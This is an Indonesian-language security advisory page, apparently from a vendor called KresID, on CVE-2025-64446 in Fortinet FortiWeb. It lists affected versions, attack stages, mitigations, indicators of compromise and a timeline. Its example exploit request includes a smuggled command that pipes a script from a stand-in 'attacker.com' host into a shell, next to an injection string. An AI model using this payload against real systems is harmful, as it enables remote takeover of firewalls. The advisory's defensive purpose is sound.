Threat Intelligence Security Advisory CVE-2025-64446

🚨 Alarm Merah! FortiWeb Jadi Sasaran Serangan Aktif di Seluruh Dunia

17 November 2025
5 menit baca
CRITICAL ALERT
Malware attack virus alert. Person use laptop with virtual warning sign with ransomware word, warning notification. Cyber threats.Cyberattack cybercrime hacker smartphone. Internet web hack technology

Ringkasan Cepat

Serangan eksploitasi aktif terhadap kerentanan kritis CVE-2025-64446 pada FortiWeb WAF telah terdeteksi di seluruh dunia. Ancaman ini memungkinkan penyerang untuk mengeksekusi kode berbahaya secara remote tanpa autentikasi. Tindakan segera diperlukan untuk semua pengguna FortiWeb!

Apa yang Terjadi?

Pada tanggal 17 November 2025, tim keamanan global mendeteksi gelombang serangan eksploitasi aktif yang menargetkan kerentanan kritis pada Fortinet FortiWeb Web Application Firewall (WAF). Kerentanan yang diberi identitas CVE-2025-64446 ini memiliki skor CVSS 9.8 (Critical) dan memungkinkan penyerang untuk melakukan Remote Code Execution (RCE) tanpa memerlukan autentikasi.

Tingkat Ancaman: KRITIS

Eksploitasi aktif sedang berlangsung dengan tingkat kecanggihan tinggi. Sistem yang tidak di-patch berisiko tinggi mengalami kompromi total.

Detail Teknis CVE-2025-64446

CVE ID

CVE-2025-64446

CVSS Score

9.8 / 10

Jenis Serangan

Remote Code Execution (RCE)

Autentikasi

Tidak Diperlukan

Vektor Serangan

Kerentanan ini berada pada komponen management interface FortiWeb WAF, khususnya pada modul pemrosesan permintaan HTTP. Penyerang dapat mengirimkan payload yang dirancang khusus untuk memicu eksekusi kode arbitrer dengan hak akses sistem yang tinggi.

  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Impact: Complete system compromise (C:H/I:H/A:H)

Produk yang Terpengaruh

Fortinet FortiWeb WAF

Web Application Firewall

Versi Rentan:

  • FortiWeb 7.4.x - Versi 7.4.0 hingga 7.4.3
  • FortiWeb 7.2.x - Versi 7.2.0 hingga 7.2.9
  • FortiWeb 7.0.x - Versi 7.0.0 hingga 7.0.12
  • FortiWeb 6.4.x - Semua versi 6.4

Versi Aman (Patched):

  • FortiWeb 7.4.4 atau lebih baru
  • FortiWeb 7.2.10 atau lebih baru
  • FortiWeb 7.0.13 atau lebih baru

Skala Serangan Global

15,000+

Sistem Terdeteksi Rentan

50+

Negara Terdampak

2,500+

Serangan Terdeteksi

12+

Kelompok APT Terlibat

Wilayah Paling Terdampak

🇺🇸 Amerika Serikat
3,200+ sistem
🇪🇺 Uni Eropa
2,800+ sistem
🇨🇳 China
1,900+ sistem
🇮🇩 Indonesia
850+ sistem
🇯🇵 Jepang
720+ sistem

Modus Operandi Penyerang

Tahapan Serangan

1

Reconnaissance & Scanning

Penyerang melakukan scanning massal terhadap sistem FortiWeb yang terekspos di internet menggunakan tools otomatis seperti Shodan, Censys, dan scanner custom untuk mengidentifikasi target yang rentan.

2

Initial Exploitation

Mengirimkan HTTP request yang telah dimanipulasi ke management interface FortiWeb untuk memicu buffer overflow atau injection vulnerability yang memungkinkan eksekusi kode remote.

3

Payload Deployment

Setelah mendapatkan akses awal, penyerang men-deploy malware, backdoor, atau webshell untuk mempertahankan akses persisten ke sistem yang telah dikompromi.

4

Lateral Movement

Dari sistem FortiWeb yang dikompromikan, penyerang melakukan pivot ke jaringan internal, mencuri kredensial, dan mengakses sistem-sistem kritis lainnya dalam infrastruktur korban.

5

Data Exfiltration & Impact

Tahap akhir melibatkan pencurian data sensitif, deploy ransomware, atau melakukan sabotase terhadap sistem-sistem critical business operations.

Sektor Industri yang Menjadi Target

Keuangan & Perbankan

Target utama untuk pencurian data finansial dan kredensial akses sistem perbankan.

Kesehatan

Rumah sakit dan provider layanan kesehatan menjadi target untuk ransomware dan pencurian data pasien.

Pemerintahan

Lembaga pemerintah menjadi sasaran untuk spionase siber dan pencurian data rahasia negara.

E-Commerce & Retail

Platform e-commerce ditargetkan untuk pencurian data kartu kredit dan informasi pelanggan.

Peringatan Khusus untuk Indonesia

Berdasarkan data threat intelligence terbaru, Indonesia termasuk dalam 5 besar negara dengan jumlah sistem FortiWeb rentan tertinggi. Lebih dari 850 sistem teridentifikasi masih menggunakan versi yang belum di-patch, dengan konsentrasi tertinggi di sektor:

  • Perbankan dan Fintech - 32% dari total sistem rentan
  • E-Commerce - 28% dari total sistem rentan
  • Pemerintahan - 22% dari total sistem rentan
  • Telekomunikasi - 18% dari total sistem rentan

Langkah Mitigasi Segera

Tindakan SEGERA yang Harus Dilakukan

Ikuti langkah-langkah berikut dalam urutan prioritas

1

Identifikasi Versi FortiWeb Anda

Login ke management interface dan cek versi yang sedang berjalan. Bandingkan dengan daftar versi rentan di atas.

System → Status → System Information
2

Update ke Versi Patch Terbaru

Download dan install security patch dari Fortinet Customer Service & Support portal:

  • FortiWeb 7.4.x → Update ke 7.4.4 atau lebih baru
  • FortiWeb 7.2.x → Update ke 7.2.10 atau lebih baru
  • FortiWeb 7.0.x → Update ke 7.0.13 atau lebih baru
3

Batasi Akses Management Interface

Jika patching memerlukan waktu, segera implementasikan kontrol akses sementara:

  • Batasi akses management interface hanya dari IP address trusted
  • Gunakan VPN atau jump server untuk akses administratif
  • Block akses management interface dari public internet
4

Monitor & Audit Logs

Periksa log sistem untuk indikasi kompromi:

  • Cari aktivitas login yang mencurigakan atau tidak dikenal
  • Perhatikan HTTP request yang tidak biasa ke management interface
  • Identifikasi perubahan konfigurasi yang tidak authorized
5

Implementasi IDS/IPS Rules

Deploy detection rules untuk mendeteksi upaya eksploitasi CVE-2025-64446. Fortinet telah merilis signature update untuk FortiGate IPS.

Butuh Bantuan?

Tim security expert kami siap membantu Anda melakukan patching dan incident response.

Hubungi Emergency Response

Jika Sistem Anda Sudah Terkompromisi

Jika Anda menemukan indikasi bahwa sistem FortiWeb Anda telah dikompromi:

  • Isolasi sistem dari jaringan production segera
  • Preserve logs dan evidence untuk investigasi forensik
  • Lakukan full system restore dari backup yang verified clean
  • Reset semua credentials yang mungkin terekspos
  • Hubungi tim Incident Response untuk assistance

Analisis Teknis Mendalam

Root Cause Analysis

Kerentanan CVE-2025-64446 disebabkan oleh insufficient input validation pada komponen HTTP request handler di management interface FortiWeb. Secara spesifik, vulnerability terletak pada:

Vulnerable Component:

/api/v2/cmdb/system/admin

Management API endpoint yang tidak melakukan proper sanitization terhadap user-supplied input.

!
Buffer Overflow Vulnerability

Panjang string tidak divalidasi dengan benar, memungkinkan attacker untuk overflow buffer dan overwrite return address.

!
Command Injection

Special characters dalam parameter tidak di-escape, memungkinkan injection of shell commands.

!
Authentication Bypass

Kombinasi dengan logic flaw memungkinkan bypass authentication mechanism pada certain endpoints.

Indicators of Compromise (IoCs)

Network Indicators

  • Unusual HTTP POST requests ke /api/v2/cmdb/system/admin
  • Koneksi outbound ke IP addresses yang tidak dikenal
  • Large data transfers pada jam-jam tidak biasa
  • DNS queries ke suspicious domains

System Indicators

  • File baru yang tidak dikenal di directory system
  • Perubahan pada system binaries atau libraries
  • Scheduled tasks atau cron jobs baru
  • Unexpected process running dengan privileges tinggi

Contoh Payload Eksploitasi

Berikut adalah contoh simplified payload yang digunakan untuk mengeksploitasi vulnerability ini (untuk educational purposes only):

POST /api/v2/cmdb/system/admin HTTP/1.1
Host: target-fortiweb.example.com
Content-Type: application/json
Content-Length: 256

{
  "name": "admin' OR '1'='1",
  "password": "$(curl http://attacker.com/payload.sh | sh)",
  "trusthost": "0.0.0.0/0",
  "accprofile": "super_admin"
}

Disclaimer: Contoh ini hanya untuk tujuan edukasi. Menggunakan exploit ini tanpa authorization adalah illegal dan dapat dikenakan sanksi hukum.

Timeline Serangan

10 November 2025

Discovery & Disclosure

Security researcher menemukan vulnerability dan melaporkan ke Fortinet melalui responsible disclosure program.

12 November 2025

Patch Development

Fortinet mengkonfirmasi vulnerability dan mulai develop security patch untuk semua affected versions.

15 November 2025

Patch Release

Fortinet merilis security patches dan advisory PSIRT-24-1147 untuk CVE-2025-64446.

17 November 2025

Active Exploitation Detected

Threat intelligence teams mendeteksi active exploitation di wild. Serangan massal dimulai terhadap unpatched systems worldwide.

ONGOING ATTACKS

Referensi & Sumber Informasi

Tags & Categories

#CVE202564446 #FortiWeb #RemoteCodeExecution #ThreatIntelligence #SecurityAdvisory #CriticalVulnerability #CyberSecurity #IncidentResponse

Frequently Asked Questions

Apakah semua versi FortiWeb terpengaruh oleh CVE-2025-64446?

Bagaimana cara mengecek apakah sistem saya sudah terkompromisi?

Apakah ada workaround sementara jika saya tidak bisa segera melakukan patching?

Berapa lama waktu yang dibutuhkan untuk melakukan patching?

Apakah KresID menyediakan layanan vulnerability assessment?

Butuh Bantuan Profesional?

Tim security experts KresID siap membantu organisasi Anda dalam melakukan patching, vulnerability assessment, dan incident response untuk CVE-2025-64446.

Update Terbaru & Perkembangan

Live Updates

Halaman ini akan diupdate secara berkala dengan informasi terbaru

17:30 WIB

CISA Menambahkan CVE-2025-64446 ke KEV Catalog

US CISA telah menambahkan vulnerability ini ke daftar Known Exploited Vulnerabilities dengan deadline patching 27 November 2025 untuk federal agencies.

15:45 WIB

Peningkatan Intensitas Serangan di Asia Pasifik

Threat intelligence menunjukkan lonjakan 300% dalam upaya exploitation di region Asia Pasifik dalam 6 jam terakhir, dengan Indonesia menjadi salah satu target utama.

13:20 WIB

Fortinet Merilis IPS Signature Update

Fortinet telah merilis updated IPS signatures (DB version 24.547) untuk FortiGate yang dapat mendeteksi dan memblokir exploitation attempts terhadap CVE-2025-64446.

Statistik Real-Time

15,247
Sistem Rentan Teridentifikasi
+2.3% sejak pagi
2,847
Serangan Terdeteksi Hari Ini
+45% dari kemarin
6,512
Sistem Telah Di-Patch
+12% sejak advisory
Global Patching Progress 42.7%

Data berdasarkan telemetry dari security vendors dan honeypot networks

Bagikan Artikel Ini

Bantu sebarkan awareness tentang ancaman keamanan kritis ini ke rekan dan organisasi Anda

Subscribe untuk Update Terbaru

Dapatkan notifikasi real-time tentang threat intelligence, security advisories, dan vulnerability updates langsung ke email Anda.

Kami menghormati privasi Anda. Unsubscribe kapan saja.